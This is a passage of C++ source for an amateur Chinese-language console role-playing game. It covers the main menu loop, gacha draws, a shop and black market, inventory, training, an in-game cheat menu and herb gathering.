				vk=400,vy=250,vm=150;
			pua
			cls
			continue;
		}if(v<9994)
		{
			cout<<"你这次运气不佳,什么都没有抽到......\n";
			luck+=0.1;
			continue;
		}
		if(v<9997)
		{
			cp("你获得了一柄石中剑?\n",14,0,1);
			qjs[14]++;
			if(vk<800&&vy<500&&vm<300)
				vk=800,vy=500,vm=300;
			pua
			cls
			continue;
		}
		if(v<9999)
		{
			cp("你获得了裁决之刃\n",15,0,1);
			qjs[15]++;
			if(vk<1800&&vy<1500&&vm<700)
				vk=1800,vy=1500,vm=700;
			pua
			cls
			continue;
		}
		if(v<10000)
		{
			cp("你获得了大皇帝的佩剑\n",16,0,1);
			qjs[16]++;
			if(vk<53800&&vy<35500&&vm<35300)
				vk=53800,vy=35500,vm=35300;
			pua
			cls
			continue;
		}
	}
}
void zhu()
{
	SetConsoleTitle("By lzx");
	if(lev!=level)
	{	
		g+=(level-lev)*5;
		famax+=(level-lev)*5;
		f+=(level-lev)*2;
		smax+=(level-lev)*10;
		lev=level;
	}
	if(jy==1)
	{
		s=smax;
		cha=0;
	}
	if(sw==1)
	{
		s=smax/10;
		sw=0;
	}
	if(cha<=smax)
	{
		s+=smax-cha;
		cha=smax;
	}
	fa=famax;
	int op=rand()%100;
	if(op<10)
		cout<<"今天阳光明媚~\n";
	else if(op<15)
		cout<<"今天阴雨绵绵\n";
	else if(op<20)
		cout<<"今天烈日当空\n";
	else if(op<25)
		cout<<"今天狂风暴雨\n";
	else if(op<30)
		cout<<"今天有台风出没\n";
	else if(op<40)
		cout<<"今天多云,20℃(请说出这里的地形类型)\n";
	else if(op<60)
		cout<<"今天无事发生\n";
	else if(op<70)
		cout<<"今天光线充足\n";
	else if(op<85)
	{
		cout<<"今天气温可达35℃(你不怎么饿)\n";
		eat++; 
	}
	else if(op<90)
		cout<<"今天绿意盎然\n";
	else if(op<91)
		cout<<"今天有龙卷风\n";
	else cout<<"你感觉今天有好事发生\n"; 
	cout<<"\n你有"<<money<<"RMB\n";
	cout<<"你要去哪?\n1.主线   2.副本(等级>=5)  3.查看属性   4.采药   5.抽卡   6.道门   7.背包  8.装备";
	if(sm==1)
	{
		cout<<"  9.商店"; 
	}if(level>=10)
	{
		cout<<"  10.转职   11.观象台  12.锻炼";
	}
	cout<<"\n";
	cout<<"______________________________________________________________________________________________________________\n\n\n\n\n";
	cp("Tips:"+tips[rand()%56]);
	cout<<"\n";
	eat--; 
	if(eat<5)
	{
		cout<<"你很饿,再不吃东西就要死了";
	}
	if(eat>=5&&eat<10)
	{
		cout<<"你有点饿,是时候吃点东西了";
	}
	if(eat>=10&&eat<30)
	{
		cout<<"你不饿,但最好补充一下能量了";
	}
	if(eat>=30&&eat<50) 
	{
		cout<<"你现在精力充沛";
	}
	if(eat>=50)
	{
		cout<<"你很饱"; 
	} 
	cout<<"\n\n\n\n\n";
	int kkks;
	cin>>kkks;
    Sleep(500);
	cls
    eat--;
	if(kkks==2&&level<5)
	{
		return ;
	}
	if(level>=10&&kkks==11&&jb<=10)
	{
		cout<<"你来到了观象台。\n看着天上的星星,你忽然有所感悟...?\n";
		jb++;
		pua
		cls
		zhu();
	}
	if(level>=10&&kkks==12)
	{
		cout<<"你发现了一个废弃的运动场。\n似乎可以锻炼身体...?\n";
		pua
		cls 
		int n=1,k=0;
		int dfu=0;
		while(1)
		{
			k=rand()%5+1;
			cout<<"按"<<k<<"运动";
			cin>>n;
			if(n!=k)
				break;
			dfu++;
			pua
			cls
		}
		sd+=dfu/20;
		pua
		cls
		zhu();
	}
	if(level>=10&&kkks==11&&jb>10)
	{
		long long bjd=smax+famax+f+g+50;
		cout<<"你来到了观象台。\n看着天上的星星,你突然感觉到了不一样的感觉...?\n";
		cout<<"一颗星星滑落天空,落到了你的面前,是一本...《卷轴》?\n";
		pua
		cls
		cout<<"‘它’似乎可以吸引你,你看了很久很久...\n";
		cout<<"你获得了一次调整属性的机会!\n";
		pua
		cls 
		cout<<"你还有"<< bjd<<"点属性点\n";
		cout<<"你想要多少生命?\n";
		int sjy;
		cin>>sjy;
		smax=sjy;
		bjd-=sjy;
		if(bjd<0)
		{
			cout<<"你这就不够意思了!!怎么可以这样\n";
			pua
			cls
			return ;
		}
		pua
		cls
		cout<<"你还有"<< bjd<<"点属性点\n";
		cout<<"你想要多少攻击?\n";
		cin>>sjy;
		g=sjy;
		bjd-=sjy;
		if(bjd<0)
		{
			cout<<"你这就不够意思了!!怎么可以这样\n";
			pua
			cls
			return ;
		}
		pua
		cls
		cout<<"你还有"<< bjd<<"点属性点\n";
		cout<<"你想要多少法力?\n";
		cin>>sjy;
		famax=sjy;
		bjd-=sjy;
		pua
		cls
		cout<<"你还有"<< bjd<<"点属性点\n";
		cout<<"你想要多少防御?\n";
		cin>>sjy;
		f=sjy;
		bjd-=sjy;
		if(bjd<0)
		{
			cout<<"你这就不够意思了!!怎么可以这样\n";
			pua
			cls
			return ;
		}
		pua
		cls
		zhu();
	} 
	if(level>=10&&kkks==10&&xx==0)
	{
		cout<<"你有一次替换/升级技能的机会\n";
		cout<<"1.升级  2.替换\n";
		int xxx;
		cin>>xxx;
		if(xxx==1)
		{
			cout<<"当前大招攻击+500";
			sjdz=1;
			xx=1; 
			pua
			cls;
			zhu();
		}
		else
		{
			cout<<"当前可替换为:1.生死环  2.阴阳两隔\n";
			cout<<"是否查看介绍?1.是  2.否";
			int uy;
			cin>>uy;
			if(uy==2)
			{
				cout<<"\n\n替换为什么?";
				int uyy;
				cin>>uyy;
				if(uyy==1)
				{
					cout<<"\n技能替换为生死环!\n";
					ggdz=1;
					ssd=1;
					xx=1;
					pua
					cls;
					zhu();
				}
				else if(uyy==2)
				{
					cout<<"\n技能替换为阴阳两隔!\n";
					ggdz=1;
					yyd=1;
					xx=1;
					pua
					cls;
					zhu();
				}
			}
			else if(uy==1)
			{
				cout<<"哪一个的?\n1/2 ?";
				int js;
				cin>>js;
				if(js==1)
				{
					cout<<"生死环:\n";
					cout<<"传说,这是大神zyh的技能,可以活生生将敌人磨死\n\n";
					cout<<"技能效果:\n给予敌人30%的真实伤害\n";
					pua
					cls;
					th();
				}
				else if(js==2)
				{
					cout<<"阴阳两隔:\n";
					cout<<"传说,这是大神zhr的技能。\n";
					cout<<"特点:\n";
					cout<<"一念生,一念死,阴阳殊途,人鬼两隔!\n"; 
					cout<<"技能效果:\n10%概率当场击杀对手\n";
					pua
					cls;
					th();
				}
			}
		}
	}
	if(kkks==20&&szz==1)
	{
		cout<<"尊敬的主人,您需要什么服务?\n";
		cout<<"1.开挂  2.离开\n";
		int v;
		cin>>v;
		if(v==2)
		{
			cls
			zhu();
		}
		else if(v==3){
			cout<<"你!非法的入侵者!\n";
			system("color 4F");
			pua
			money+=100;
			jy+=100;
			sj();
			wp[7]+=20;
			wp[4]+=40;
			sm=1; 
			h=1;
			gj=1;
			g+=10;
			f+=10;
			smax+=10;
			famax+=10;
			wq+=100000;
			wp[5]+=35;
	        system("color 0A");
	        cls
	        zhu();
		}
		else
		{
			cout<<"你!非法的入侵者!\n";
			system("color 4F");
			pua
			money+=1;
			jy+=1;
			sj();
			wp[7]+=10;
			wp[4]+=6;
			sm=1; 
			h=1;
			gj=1;
			sl=1;
			g+=1;
			f+=1;
			smax+=1;
			famax+=1;
			wq+=10;
			wp[5]+=1;
	        system("color 0A");
	        cls
	        zhu();
		}
	}
	if(kkks==8)
	{
		cout<<"当前装备:\n";
		for(int i=16;i>=1;i--)
		{
			if(qjs[i]>0&&i<=9)
			{
				cout<<"  "<<i<<"级武器";
				break;
			}
			else{
				if(qjs[16]>0)
				{
					cout<<"  佩剑";
					break;
				}
				if(qjs[15]>0)
				{
					cout<<"  裁决之刃";    
					break;
				}
				if(qjs[14]>0)
				{
					cout<<"  石中剑" ; 
					break;
				}
				if(qjs[13]>0)
				{
					cout<<"  青云神剑";
					break;
				}
				if(qjs[12]>0)
				{
					cout<<"  仙剑";
					break; 
				}
				if(qjs[11]>0)
				{
					cout<<"  紫灵剑";
					break;
				}
				if(qjs[10]>0)
				{
					cout<<"  火云剑";
					break;
				}
			}
		}
		cout<<"\n"; 
		cout<<"\n你要干什么?\n1.融经验  2.退出\n";
		int crq;
		cin>>crq;
		if(crq==2)
		{	
			pua
			cls;
			zhu();
		}
		else
		{
			cls
			for(int i=16;i>=1;i--)
			{
				if(qjs[i]>0&&i<=9)
				{
					cout<<i<<"."<<qjs[i]<<"柄"<<i<<"级武器";
					cout<<"\n";
					ans+=qjs[i];
					continue;
				}
				else{
					if(qjs[i]>0&&i==16)
					{
						cout<<i<<"."<<qjs[i]<<"柄佩剑";
						cout<<"\n";
						ans+=qjs[i];
						continue;
					}
					if(qjs[i]>0&&i==15)
					{
						cout<<i<<"."<<qjs[i]<<"柄裁决之刃";
						cout<<"\n";
						ans+=qjs[i];
						continue;
					}
					if(qjs[i]>0&&i==14)
					{
						cout<<i<<"."<<qjs[i]<<"柄石中剑";
						cout<<"\n";
						ans+=qjs[i];
						continue;
					}
					if(qjs[i]>0&&i==13)
					{
						cout<<i<<"."<<qjs[i]<<"柄青云神剑";
						cout<<"\n";
						ans+=qjs[i];
						continue;
					}
					if(qjs[i]>0&&i==12)
					{
						cout<<i<<"."<<qjs[i]<<"柄仙剑";
						cout<<"\n";
						ans+=qjs[i];
						continue;
					}
					if(qjs[i]>0&&i==11)
					{
						cout<<i<<"."<<qjs[i]<<"柄紫灵剑";
						cout<<"\n";
						ans+=qjs[i];
						continue;
					}
					if(qjs[i]>0&&i==10)
					{
						cout<<i<<"."<<qjs[i]<<"柄火云剑";
						cout<<"\n";
						ans+=qjs[i];
						continue;
					}
				}
			}
			cout<<"你确定要融吗?\n1.确定  2.否\n";
			int tj;
			cin>>tj;
			if(tj==2)
			{
				pua
				cls;
				zhu();
			}
			else{
				cout<<"\n你要融哪个?(17全融)\n";
				int zff;
				cin>>zff;
				cout<<"\n";
				if(zff==17)
				{
					ans/=100;
					for(int i=ans/100;i>=0;i--)
					{
						cout<<ans/100<<"."<<ans%100;
						Sleep(10);
						cls
					}
					for(int i=16;i>=1;i--)
					{	
						cout<<"你获得了"<<i*i*i*50*qjs[i]<<"点经验\n";
						jy+=i*i*i*50*qjs[i];
						qjs[i]=0;
					}
					sj();
					pua
					cls;
					zhu();
				} 
				else if(qjs[zff]>0)
				{
					cout<<"融几个?";
					int sdan;
					cin>>sdan;
					cls
					if(sdan>qjs[zff])
					{
						cout<<"数量不够!!!\n";
						pua
						cls;
						zhu();
					}
					else
					{
						for(int i=zff/10;i>=0;i--)
						{
							cout<<zff/1000<<"."<<zff%1000;
							Sleep(10);
							cls
						}
						cout<<"你获得了"<<zff*zff*zff*50*sdan<<"点经验\n";
						jy+=zff*zff*zff*50*sdan;
						qjs[zff]-=sdan;
						sj();
						pua
						cls;
						zhu();
					}
				}
				else
				{
					cout<<"数量不够!!!\n";
					pua
					cls;
					zhu();
				}
			}
		}
		pua
		cls;
		zhu();
	 } 
	if(sm==1&&kkks==9)
	{
		cout<<"这里有两间屋子......\n一间似乎是出售物品的,另一间......好像......\n是收购物品的\n你去哪一个?\n"; 
		cout<<"1.售卖大厅   2.收购大厅   3.黑市\n";
		int ggb;
		cin>>ggb;
		if(ggb==3)
		{
			cout<<"今天售卖:\n";
			bool u;
			int t=rand()%2;
			if(t==0)
			{
				cout<<"1.彼岸花 ??¥\n";
				u=1;
			}
			else
			{
				cout<<"1.白草 ??¥\n";
				u=0;
			}
			int fuc=rand()%2;
			bool df;
			if(t==0)
			{
				cout<<"2.馒头 ??¥\n";
				df=1;
			}
			else
			{
				cout<<"2.面包 ??¥\n";
				df=0;
			}	
			cout<<"0.退出" ; 
			cout<<"你要买什么?";
			int e;
			cin>>e;
			if(e==1)
			{
				if(u==1)
				{
					money-=50;
					wp[3]++;
				}
				else
				{
					money-=70;
					wp[5]++;
				}
			}
			if(e==2)
			{
				if(df==1)
				{
					cout<<"买几个?"; 
					long long pg;
					cin>>pg;
					if(pg*60>money)
					{
						cout<<"钱不够!!!";
						pua
						cls;
						zhu();
					}
					money-=60*pg;
					cout<<"你吃了馒头,饱腹感+"<<5*pg<<"\n";
					eat+=5*pg;
				}
				else
				{
					cout<<"买几个?"; 
					long long pg;
					cin>>pg;
					if(pg*100>money)
					{
						cout<<"钱不够!!!";
						pua
						cls;
						zhu();
					}
					money-=100*pg;
					cout<<"你吃了面包,饱腹感+"<<10*pg<<"\n";
					eat+=10*pg;
				}
			}
			cout<<"\n";
			pua
			cls;
			zhu();
		} 
		if(ggb==1)
		{
			cout<<"今天售卖:\n";
			bool u;
			int t=rand()%2;
			if(t==0)
			{
				cout<<"1.彼岸花 50¥\n";
				u=1;
			}
			else
			{
				cout<<"1.白草 70¥\n";
				u=0;
			}
			int fuc=rand()%2;
			bool df;
			if(t==0)
			{
				cout<<"2.馒头 60¥\n";
				df=1;
			}
			else
			{
				cout<<"2.面包 100¥\n";
				df=0;
			}	
			cout<<"0.退出" ; 
			cout<<"你要买什么?";
			int e;
			cin>>e;
			if(e==1)
			{
				if(u==1)
				{
					money-=50;
					wp[3]++;
					pua
					cls;
					zhu();
				}
				else
				{
					money-=70;
					wp[5]++;
					pua
					cls;
					zhu();
				}
			}
			if(e==2)
			{
				if(df==1)
				{
					money-=60;
					cout<<"你吃了馒头,饱腹感+5\n";
					eat+=5;
				}
				else
				{
					money-=100;
					cout<<"你吃了馒头,饱腹感+10\n";
					eat+=10;
				}
			}
			cout<<"\n";
			pua
			cls;
			zhu();
		}
		else
		{
			int rs=140+rand()%31;
			cout<<"今天有人收购:1.人参——"<<rs<<"¥";
			cout<<"2.彼岸花——"<<rs-100<<"¥";
			cout<<" 3.火云兽晶核——60¥ 4.钢角兽晶核——120¥ 5.水灵蛇晶核——180¥ 6.紫云蛇晶核——240¥ 7.青角鹿晶核——300¥ ";
			cout<<"\n\n你要卖什么?\n";
			int gk;
			cin>>gk;
			cls;
			cout<<"卖几个\n";
			int yzh;
			cin>>yzh;
			cls
			if(gk<3)
			{
				if(yzh<=wp[gk])
				{
					cout<<"你卖了"<<yzh<<"个草药\n";
					cout<<"得到了不少钱";
					money+=rs*yzh;
					if(gk==2)
						money-=100*yzh;
					wp[gk]-=yzh;
					pua
					cls;
					zhu();
				}
			}
			else
			{
				if(yzh<=bag[gk-2])
				{
					cout<<"你卖了"<<yzh<<"个晶核\n";
					cout<<"得到了不少钱";
					money+= bag[gk-2]*60*yzh;
					bag[gk-2]-=yzh;
					pua
					cls;
					zhu();
				}
			}
		} 
		pua
		cls
		zhu();
	}
	if(kkks==7)
	{
		cls
		cout<<"你有\n";
		for(int i=1;i<=10;i++)
		{
			if(bag[i]>0)
			{
				cout<<bag[i]<<"个"<<i<<"级晶核\n"; 
			}
		}
		if(wp[1]>0)cout<<"1."<<wp[1]<<"个"<<"火云参\n";
		if(wp[2]>0)cout<<"2."<<wp[2]<<"个"<<"彼岸花\n";
		if(wp[3]>0)cout<<"3."<<wp[3]<<"个"<<"月心兰\n"; 
		if(wp[4]>0)cout<<"4."<<wp[4]<<"个"<<"碧水莲\n"; 
		if(wp[5]>0)cout<<"5."<<wp[5]<<"个"<<"白草\n"; 
		if(wp[6]>0)cout<<"6."<<wp[6]<<"个"<<"紫微\n"; 
		if(wp[7]>0)cout<<"7."<<wp[7]<<"个"<<"人参\n"; 
		cout<<"你要吃什么\n" ;
		int o;
		cin>>o;
		if(wp[o]>0)
		{
			cout<<"吃几个?";
			int y;
			cin>>y;
			if(y>wp[o])
			{
				cout<<"没那么多!";
				cls
				zhu();
			}
			else{
				cout<<"你吃了"<<y<<"个草药,饱腹感+"<<y<<"\n"; 
				wp[o]-=y;
				if(o==6)
				{
					cout<<"你吃了"<<y<<"个它,法力+"<<y<<",攻击-"<<y<<"\n";
					famax+=y;
					g-=y;
				}
				if(o==1)
				{
					cout<<"你吃了"<<y<<"个它,防御+"<<y<<"\n";
					f+=y;
				}
				if(o==2)
				{
					cout<<"你吃了"<<y<<"个它,血量-"<<y<<",攻击+1\n";
					smax-=y;
					g+=y;
				}
				if(o==5)
				{
					cout<<"你吃了"<<y<<"个它,法力+"<<y<<",血量+"<<2*y<<"\n";
					famax+=y;
					smax+=2*y;
				}
				if(o==3)
				{
					cout<<"你吃了"<<y<<"个它,法力+"<<2*y<<",防御+"<<y<<"\n";
					famax+=2*y;
					f+=y; 
				}
				if(o==4)
				{
					cout<<"你吃了"<<y<<"个它,攻击+"<<2*y<<",法力-"<<y<<"\n";
					famax-=1*y;
					g+=2*y;
				}
				if(o==7)
				{
					if(szz==1)
					{
						cout<<"你吃了"<<y<<"个它,血量+"<<5*y<<",防御+"<<2*y<<"\n"; 
						smax+=5*y;
						f+=2*y;
					}
					else cout<<"你吃不下去";
				}
			}
			cyz();
		}
		pua
		cls
		zhu();
	}
	if(kkks==2)
	{
		int fb=rand()%100;
		if(fb<=10||fb>=90)
		{
			zyzd();
			if(sw==1)
			{
				cls
				zhu();
			}
			cls
		}
		else if(fb<=20||fb>=80)
		{
			hyzd();
			if(sw==1)
			{
				cls
				zhu();
			}
			cls
		}
		else if(fb<=70&&fb>=40)
		{
			cout<<"你遇到了一个破败的遗迹\n";
			cout<<"你要进去吗?\n	1.是   2.否";
			int tj;
			cin>>tj;
			cls
			if(tj!=1)
			{
				cout<<"你看着幽黑的洞口,心生退意。\n";
				cout<<"你突然感觉自己浑身发热,头痛欲裂。\n";
				cout<<"你融化了,临死前你听到了一阵呓语。\n";
				cls;
				zhu();
			}
			else{
				sm=1;
				cout<<"你毅然走了进去,殊不知洞口已经关闭。\n 一个黑色的人影注视着你。“桀桀桀,又一个祭品来了!”\n";
				if(szz==1)
				{
					cout<<"与此同时,你感觉后背泛起一阵凉意。\n" ;
				}
				cls;
				cout<<"一个石狮子慢慢碎裂......\n一个紫云兽向你扑来!\n";
				cls
				zyzd();
				if(sw==1)
				{
					cls
					zhu();
				}
				cls;
				cout<<"你看见了一个宝箱,并打开了它";
				int qq=rand()%100+15;
				cout<<"你找到了"<<qq<<"个碎片";
				wq+=qq;
				pua
				cls
				zhu();
			} 
		}
		else{
			cout<<"你捡到到了1个馒头,饱腹感+5";
			eat+=5;
			cls
			zhu();
		}
	}
	if(kkks==6)
	{
		cout<<"教官:你来了\n";
		if(v[level/5]==false)
		{
			cout<<"教官:干得不错,这是奖励你的\n";
			cout<<"你吃下了教官给的丹药,经验+"<<10*level;
			cls 
			sj();
			eat+=50;
			v[level/5]=true;
			cls
			zhu();
		}
		else cout<<"教官:去吧,只要你还是本堂弟子,每升5级就可以得到丹药\n";
		cout<<"你要干什么?\n1.打木桩(普通的紫云蛇)   2.测力量   3.挑战   4.聊天  5.挂机  6.洗礼\n" ; 
		int p;
		cin>>p;
		cls
		if(p==4)
		{
			cout<<"教官:你知道吗?玳瑁学院的校长杨困吧想要在我们道门中挑选弟子,\n";
			pua
			cls
			zhu();
		} 
		if(p==1)
		{
			while(1)
			{
				if(s<=0)
				{
					cls
					zhu();
				}
				zyzd();
			}
		}
		if(p==2)
		{
			cout<<"你打出一拳\n";
			cout<<"你的力量大概是"<<46+level*5+rand()%5<<"公斤";
			pua
			cls
			zhu();
		}
		if(p==5)
		{
			cout<<"你来到了挂机池\n";
			cout<<"开始挂机吗?\n";
			cout<<"1.开始  2.离开\n";
			int rat;
			cin>>rat;
			if(rat==2)
			{	
				pua
				cls;
				zhu();
			}
			else
			{
				cout<<"挂多久?(单位秒)\n";
				int fq;
				cin>>fq; 
				int fq2=fq;
				int g10=1,famax10=1,smax10=1,f10=1;
				long long i=0;
				while(fq2!=0)
				{
					cout<<"挂机中......";
					cout<<"\n";
					cout<<i*100/fq<<"%"; 
					cout<<"\n";
					Sleep(1000);
					i++;
					int gggggg=rand()%30;
					int fama=rand()%20;
					int s10=rand()%30;
					int fa10=rand()%20;
					g10+=gggggg;
					famax10+=fama;
					smax10+=s10;
					f10+=fa10;
					fq2--;
					cls
				}
				cls
				cout<<"你获得了:\n";
				cout<<"1."<<g10/5<<"点攻击\n";
				cout<<"2."<<famax10/5<<"点法力\n";
				cout<<"3."<<smax10/5<<"点生命\n";
				cout<<"4."<<f10/5<<"点防御\n";
				g+=g10/5;
				famax+=famax10/5;
				smax+=smax10/5;
				f+=f10/5;
				pua
				cls;
				zhu();
			}
		}
		if(p==6&&zfc==0)
		{
			cout<<"你确定要洗礼吗?\n1.yes 2.no\n\n";
			int zfctj;
			cin>>zfctj;
			if(zfctj==2)
			{
				cls
				zhu();
			}
			cout<<"你全属性翻倍!!!\n\n";
			smax*=2;
			famax*=2;
			g*=2;
			f*=2;
			zfc=1;
			pua
			cls
			zhu();
		}
		if(p==3)
		{
			cout<<"挑战什么?\n1.肉体(防御+血量)     2.攻击\n";
			int r;
			cin>>r;
			if(r==1)
			{
				cout<<"一个木偶提刀向你冲来\n";
				for(int i=1;i<=g-5;i++)
				{
					int e=rand()%5+(smax+f)/g;
					cout<<"你受到"<<max(e-f,2)<<"点伤害\n";
					Sleep(10);
					cout<<"你还有"<<s<<"点血量\n"; 
					s-=max(e-f,2);
					Sleep(20);
					if(s<=0)
					{
						cout<<"你死了......\n";
						zhu();
					}
					cls
				}
				cout<<"(教管赞许地看着你):拿着你应有的奖励吧\n";
				cout<<"你经验+500\n";
				jy+=500;
				cls
				sj();
				pua
				cls
				zhu();
			}
			else
			{
				cout<<"你需要在80个回合内干掉敌人\n";
				cao=100*level*2;
				fy=f+10;
				for(int i=80;i>=0;i--)
				{
					zsdz();
					fsdz();
					if(fa<famax)
						fa++;
					bool j;
					j=rand()%2;
					if(j==1)
					{
						printf("你向傀儡发起攻击,傀儡减血%d滴",max(10,g-fy));
	           			cao-=max(10,g-fy);
			        	Sleep(100);
			        	printf("\n剩余血量%d滴\n",cao);
					}
					else
					{
						printf("你向傀儡发起攻击,傀儡防御了,傀儡减血%d滴",1);
			           	cao-=1;
				        Sleep(100);
				        printf("\n剩余血量%d滴\n",cao);
					}
					if(cao<=0)
					{
						cout<<"你赢了......";
						cout<<"(教管赞许地看着你):拿着你应有的奖励吧\n";
						cout<<"你经验+1000,紫云蛇晶核+1\n";
						jy+=1000;
						bag[4]++;
						cls
						sj();
						cls
						zhu();
					}
					Sleep(1000);
				}
			}
		}
	} 
	if(kkks==5)
	{
		int bo;
		cout<<"你要抽卡吗?\n 1.是   2.否";
		cin>>bo;
		if(bo==2)
			zhu();
		cls
		cout<<"你有\n"<<wq<<"个碎片\n";
		cout<<"你要:\n1.单抽  2.十连抽  3.五十连抽  4.百连抽  5.200抽  6."<<wq/5<<"抽\n";
		int v;
		cin>>v;
		cls
		if(v==1)
		{
			if(wq<5)
			{
				cp("不可抽卡",8); 
				pua
				cls;
				zhu();
			}
			cp("可抽卡",4); 
			cout<<"\n";
			cout<<"是否抽卡?\n1.是  2.否\n";
			int uv;
			cin>>uv;
			if(uv==2)
			{
				pua
				cls;
				zhu();
			}
			int ljc=0;
			for(int i=1;i<=231;i++)
				ljc++;
			if(uv==ljc)
			{
				cls
				slowout("_________________________________________________________________________________________>\n");
				ccp("—————————————————————————————————————————————————》",6,0,1);
				cout<<"\n";
				cp("———————————————————————————————————————————————————》",4,0,1);
				cout<<"\n";
				ccp("—————————————————————————————————————————————————》",6,0,1);
				cout<<"\n";
				slowout("_________________________________________________________________________________________>");
				cout<<"\n";
				cout<<"你获得了一柄青云长剑\n";
				smax+=550;
				g+=250;
				f+=100;
				famax+=85;
				wq-=5;
				qjs[13]++;
				pua
				cls
				zhu();
			}
			else
			{
				cls
				slowout("_________________________________________________________________________________________>\n");
				ccp("—————————————————————————————————————————————————》",6,0,1);
				cout<<"\n";
				cp("———————————————————————————————————————————————————》",4,0,1);
				cout<<"\n";
				ccp("—————————————————————————————————————————————————》",6,0,1);
				cout<<"\n";
				slowout("_________________________________________________________________________________________>");
				cout<<"\n";
				ck(1);
			}
		}
		if(v==2)
		{
			if(wq<50)
			{
				cp("不可抽卡",8); 
				pua
				cls;
				zhu();
			}
			cp("可抽卡",4); 
			cout<<"\n";
			cout<<"是否抽卡?\n1.是  2.否\n";
			int rest;
			cin>>rest;
			if(rest==2)
			{
				pua
				cls;
				zhu();
			}
			else
			{
				cls
				slowout("_________________________________________________________________________________________>\n");
				ccp("—————————————————————————————————————————————————》",6,0,1);
				cout<<"\n";
				cp("———————————————————————————————————————————————————》",4,0,1);
				cout<<"\n";
				ccp("—————————————————————————————————————————————————》",6,0,1);
				cout<<"\n";
				slowout("_________________________________________________________________________________________>");
				cout<<"\n";
				ck(10);
			}
		}
		if(v==3)
		{
			if(wq<250)
			{
				cp("不可抽卡",8); 
				pua
				cls;
				zhu();
			}
			cp("可抽卡",4); 
			cout<<"\n";
			cout<<"是否抽卡?\n1.是  2.否\n";
			int rest;
			cin>>rest;
			if(rest==2)
			{
				pua
				cls;
				zhu();
			}
			else
			{
				cls
				slowout("_________________________________________________________________________________________>\n");
				ccp("—————————————————————————————————————————————————》",6,0,1);
				cout<<"\n";
				cp("———————————————————————————————————————————————————》",4,0,1);
				cout<<"\n";
				ccp("—————————————————————————————————————————————————》",6,0,1);
				cout<<"\n";
				slowout("_________________________________________________________________________________________>");
				cout<<"\n";
				ck(50);
			}
		}
		if(v==4)
		{
			if(wq<500)
			{
				cp("不可抽卡",8); 
				pua
				cls;
				zhu();
			}
			cp("可抽卡",4); 
			cout<<"\n";
			cout<<"是否抽卡?\n1.是  2.否\n";
			int rest;
			cin>>rest;
			if(rest==2)
			{
				pua
				cls
				cls 
				zhu();
			}
			else
			{
				cls
				slowout("_________________________________________________________________________________________>\n");
				ccp("—————————————————————————————————————————————————》",6,0,1);
				cout<<"\n";
				cp("———————————————————————————————————————————————————》",4,0,1);
				cout<<"\n";
				ccp("—————————————————————————————————————————————————》",6,0,1);
				cout<<"\n";
				slowout("_________________________________________________________________________________________>");
				cout<<"\n";
				ck(100);
			}
		}
		if(v==5)
		{
			if(wq<1000)
			{
				cp("不可抽卡",8); 
				pua
				cls
				zhu();
			}
			cp("可抽卡",4); 
			cout<<"\n";
			cout<<"是否抽卡?\n1.是  2.否\n";
			int rest;
			cin>>rest;
			if(rest==2)
			{
				pua
				cls
				cls 
				zhu();
			}
			else
			{
				cls
				slowout("_________________________________________________________________________________________>\n");
				ccp("—————————————————————————————————————————————————》",6,0,1);
				cout<<"\n";
				cp("———————————————————————————————————————————————————》",4,0,1);
				cout<<"\n";
				ccp("—————————————————————————————————————————————————》",6,0,1);
				cout<<"\n";
				slowout("_________________________________________________________________________________________>");
				cout<<"\n";
				ck(200);
			}
		}
		if(v==6)
		{
			if(wq<5)
			{
				cp("不可抽卡",8); 
				pua
				cls;
				zhu();
			}
			cp("可抽卡",4); 
			cout<<"\n";
			cout<<"是否抽卡("<<wq/5<<"抽)?\n1.是  2.否\n";
			int rest;
			cin>>rest;
			if(rest==2)
			{
				pua
				cls
				cls 
				zhu();
			}
			int ljc=0;
			for(int i=1;i<=231;i++)
				ljc++;
			if(rest==ljc)
			{
				cls
				slowout("_________________________________________________________________________________________>\n");
				ccp("—————————————————————————————————————————————————》",6,0,1);
				cout<<"\n";
				cp("———————————————————————————————————————————————————》",4,0,1);
				cout<<"\n";
				ccp("—————————————————————————————————————————————————》",6,0,1);
				cout<<"\n";
				slowout("_________________________________________________________________________________________>");
				cout<<"\n";
				cout<<"你获得了"<<wq/5<<"柄青云长剑\n";
				smax+=550*wq/5;
				g+=250*wq/5;
				f+=100*wq/5;
				famax+=85*wq/5;
				qjs[13]+=wq/5;
				wq%=5;
				pua
				cls
				zhu();
			}
			else
			{
				cls
				slowout("_________________________________________________________________________________________>\n");
				ccp("—————————————————————————————————————————————————》",6,0,1);
				cout<<"\n";
				cp("———————————————————————————————————————————————————》",4,0,1);
				cout<<"\n";
				ccp("—————————————————————————————————————————————————》",6,0,1);
				cout<<"\n";
				slowout("_________________________________________________________________________________________>");
				cout<<"\n";
				ck(wq/5);
				pua
				cls
				zhu();
			}
		}
		pua
		cls 
		zhu();
	}
	if (kkks==3)
	{
		cout<<"职业:";
		if(zs==1)
			cout<<"战士";
		if(fs==1)
			cout<<"法师";
		if(yy==1)
			cout<<"阴阳师";
		cout<<"\n\n\n";
		printf("生命:%d/%d\n",s+vm,smax+vm);
		printf("法力:%d\n",famax);
		printf("防御:%d\n",f+vy);
		printf("攻击:%d\n",g+vk);
		printf("速度:%d\n",sd);
		cout<<"武器:";
		cout<<strin<<endl;
		pua
		cls
		zhu();
	}
	if(kkks==4)
	{
		cout<<"你来到了浮花山采药......\n";
		Sleep(50);
		jy+=1;
		sj();
		int zf=rand()%10+5;
		if(szz==1)
			zf=5;
		cout<<endl;
		for(int i=1;i<=zf;i++)
		{
			slowout("采药中......");
			cls
		}
		cls
		int v=rand()%11+1;
		if(szz=1)
			v=rand()%15+1;
		cout<<endl;
		if(v==1)
		{
			cout<<"你采到了一株火云参\n";
			wp[1]++;
		}
		if(v==2)
		{
			cout<<"你采到了一株彼岸花\n";
			wp[2]++;
		}
		if(v==4)
		{
			cout<<"你采到了一株碧水莲\n";
			wp[4]++;
		}
		if(v==5||v==9)
		{
			cout<<"你采到了一株白草\n";
			wp[5]++;
		}
		if(v==6)
		{
			hyzd();
			cout<<endl;
			cls
			zhu();
		}
		if(v==7||v==3)
		{
			cout<<"你采到了一株月心兰\n";
			wp[3]++;
		}
		if(v==8)
		{
			cout<<"你采到了一株紫薇\n";
			wp[6]++;
		}
		if(v>9)
		{
			cout<<"你采到了一株人参\n";
			wp[7]++;
		}
		if(v==9)
		{
			cout<<"你捡到了一个馒头\n饱腹感+5";
			eat+=5; 
		}
		cout<<"\n";
		pua
		cls
		zhu(); 
	}
	if(kkks==1)
	{
		cout<<"你在一位师傅的指导下上山训练\n";
		Sleep(1000);
		cls
		if(h==0)
		{
